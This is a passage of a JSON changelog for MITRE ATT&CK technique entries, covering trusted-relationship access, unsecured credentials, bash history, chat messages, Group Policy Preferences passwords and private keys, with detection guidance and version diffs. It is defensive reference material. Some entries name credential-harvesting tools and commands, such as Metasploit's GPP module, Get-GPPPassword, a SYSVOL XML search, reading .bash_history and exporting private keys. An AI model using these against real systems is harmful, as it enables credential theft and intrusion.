"Cloud Storage: Cloud Storage Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:08:25.344000+00:00\", \"old_value\": \"2024-04-11 15:53:00.577000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1037: Filter Network Traffic", + "M1054: Software Configuration", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0010: Cloud Storage (Cloud Storage Creation)", + "DS0010: Cloud Storage (Cloud Storage Metadata)", + "DS0010: Cloud Storage (Cloud Storage Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Metadata)", + "DS0020: Snapshot (Snapshot Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-15 16:08:39.968000+00:00", + "name": "Trusted Relationship", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1199", + "external_id": "T1199" + }, + { + "source_name": "CISA IT Service Providers", + "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.", + "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers" + }, + { + "source_name": "Office 365 Delegated Administration", + "description": "Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.", + "url": "https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "ExtraHop", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Logon Session: Logon Session Metadata", + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:08:39.968000+00:00\", \"old_value\": \"2022-10-21 14:35:00.274000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.4\", \"old_value\": \"2.3\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Office Suite\"}}", + "previous_version": "2.3", + "version_change": "2.3 \u2192 2.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:47:23.631000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Unsecured Credentials", + "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552", + "external_id": "T1552" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Access", + "Application Log: Application Log Content", + "Command: Command Execution", + "Process: Process Creation", + "File: File Access", + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-15 21:33:12.892000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 13:02:11.685000+00:00", + "modified": "2024-09-12 15:24:04.912000+00:00", + "name": "Bash History", + "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/003", + "external_id": "T1552.003" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:24:04.912000+00:00\", \"old_value\": \"2022-03-08 21:34:44.728000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.\", \"old_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418\", \"old_value\": \"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-14 14:38:03.673000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Chat Messages", + "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/008", + "external_id": "T1552.008" + }, + { + "source_name": "Slack Security Risks", + "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.", + "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Douglas Weir" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-04-11 00:34:00.779000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:43:06.253000+00:00", + "modified": "2024-08-15 13:21:22.734000+00:00", + "name": "Group Policy Preferences", + "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/006", + "external_id": "T1552.006" + }, + { + "source_name": "Obscuresecurity Get-GPPPassword", + "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.", + "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html" + }, + { + "source_name": "Microsoft GPP 2016", + "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)" + }, + { + "source_name": "Microsoft GPP Key", + "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.", + "url": "https://msdn.microsoft.com/library/cc422924.aspx" + }, + { + "source_name": "ADSecurity Finding Passwords in SYSVOL", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "url": "https://adsecurity.org/?p=2288" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-15 13:21:22.734000+00:00\", \"old_value\": \"2020-06-17 14:25:38.082000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 13:06:49.258000+00:00", + "modified": "2024-10-04 11:31:56.622000+00:00", + "name": "Private Keys", + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/004", + "external_id": "T1552.004" + }, + { + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + }, + { + "source_name": "cisco_deploy_rsa_keys", + "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436" + }, + { + "source_name": "AADInternals Azure AD Device Identities", + "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.", + "url": "https://aadinternals.com/post/deviceidentity/" + }, + { + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", + "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf" + }, + { + "source_name": "Microsoft Primary Refresh Token", + "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token" + }, + { + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach", + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-04 11:31:56.622000+00:00\", \"old_value\": \"2023-04-12 23:52:08.194000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"old_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n \\n-When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n+When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n \\n On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n \"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf\", \"old_value\": \"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search for private key certificate files on t1Adversaries may search for private key certificate files on 
>compromised systems for insecurely stored credentials. Priva>compromised systems for insecurely stored credentials. Priva
>te cryptographic keys and certificates are used for authenti>te cryptographic keys and certificates are used for authenti
